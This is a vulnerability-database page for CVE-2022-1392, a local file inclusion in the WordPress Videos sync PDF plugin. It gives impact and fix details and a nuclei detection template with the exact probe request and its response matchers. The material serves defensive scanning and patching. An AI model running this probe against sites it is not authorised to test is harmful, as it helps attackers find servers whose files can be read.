HexBrain

Browse / CVEs / CVE-2022-1392

CVE-2022-1392· commoninja / videos sync pdf· CWE-22

WordPress Videos sync PDF <=1.7.4 - Local File Inclusion

highseverity
7.5CVSS score
11.3%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

WordPress Videos sync PDF 1.7.4 and prior does not validate the p parameter before using it in an include statement, which could lead to local file inclusion.

Impact

Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially leading to further compromise of the system.

Fix

Upgrade to the latest version of WordPress Videos sync PDF plugin (>=1.7.5) or apply the vendor-provided patch to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=tout
Positive when: contains "failed to open stream: No such file or directory" and "REPERTOIRE_VIDEOSYNCPDFreglages/Menu_Plugins/tout.php" AND status 200

Run it with nuclei: nuclei -id CVE-2022-1392 -u <target>

The full check
id: CVE-2022-1392

info:
  name: WordPress Videos sync PDF <=1.7.4 - Local File Inclusion
  author: Veshraj
  severity: high
  description: WordPress Videos sync PDF 1.7.4 and prior does not validate the p parameter before using it in an include statement, which could lead to local file inclusion.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially leading to further compromise of the system.
  remediation: |
    Upgrade to the latest version of WordPress Videos sync PDF plugin (>=1.7.5) or apply the vendor-provided patch to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/fe3da8c1-ae21-4b70-b3f5-a7d014aa3815
    - https://packetstormsecurity.com/files/166534/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1392
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1392
    cwe-id: CWE-22
    epss-score: 0.1129
    epss-percentile: 0.96007
    cpe: cpe:2.3:a:commoninja:videos_sync_pdf:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: commoninja
    product: videos_sync_pdf
    framework: wordpress
  tags: cve,cve2022,lfi,wp-plugin,unauth,wpscan,packetstorm,wp,wordpress,commoninja,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=tout"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "failed to open stream: No such file or directory"
          - "REPERTOIRE_VIDEOSYNCPDFreglages/Menu_Plugins/tout.php"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from